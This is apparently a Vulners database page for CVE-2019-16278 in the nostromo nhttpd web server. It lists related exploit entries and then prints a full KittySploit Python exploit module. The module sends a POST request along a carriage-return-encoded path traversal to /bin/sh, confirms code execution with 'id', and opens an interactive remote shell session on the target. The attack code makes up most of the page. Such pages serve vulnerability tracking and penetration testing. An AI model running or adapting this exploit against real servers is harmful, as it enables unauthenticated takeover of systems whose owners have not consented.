nostromo nhttpd RCE (CVE-2019-16278)
| Reporter | Title | Published | Views | Family All 59 |
|---|---|---|---|---|
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 19 Jul 202100:45 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 31 Dec 201916:06 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 15 Oct 201903:40 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 22 Nov 201918:35 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 26 Nov 201914:15 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 30 Mar 202008:54 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 26 Nov 201914:15 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 23 Oct 201922:24 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 15 Oct 201909:22 | – | githubexploit | |
| Exploit for Path Traversal in Nazgul Nostromo_Nhttpd | 15 Oct 201912:47 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""nostromo nhttpd path traversal RCE (CVE-2019-16278) — execute session."""
from __future__ import annotations
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {'name': 'nostromo nhttpd RCE (CVE-2019-16278)', 'description': 'Exploits CVE-2019-16278 directory traversal in http_verify to invoke /bin/sh on nostromo nhttpd <= 1.9.6. Opens an interactive execute session.', 'author': ['KittySploit Team'], 'cve': ['CVE-2019-16278'], 'platform': Platform.MULTI, 'payload': {'default': 'nopayload'}, 'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-16278', 'https://www.exploit-db.com/exploits/47837'], 'tags': ['nostromo', 'nhttpd', 'nazgul', 'rce', 'unauth', 'traversal', 'cve-2019-16278'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'risk_signals', 'rce'], 'requires': {'tech_hints_any': ['nostromo', 'nhttpd']}, 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': '/bin/sh traversal'}, {'capability': 'shell', 'from_detail': 'execute session'}], 'suggested_followups': ['scanner/http/cve_2019_16278_detect']}}}
_SHELL_PATH = '/.%0d./.%0d./.%0d./.%0d./bin/sh'
port = OptPort(8080, 'nostromo HTTP port', True)
ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
def execute(self, cmd: str) -> str:
body = f'echo\necho\n{cmd} 2>&1\n'
r = self.http_request(method='POST', path=self._SHELL_PATH, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search('uid=\\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2019-16278 confirmed via id output', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'nostromo /bin/sh endpoint did not return command output', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2026 13:35Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
EPSS0.99033
SSVC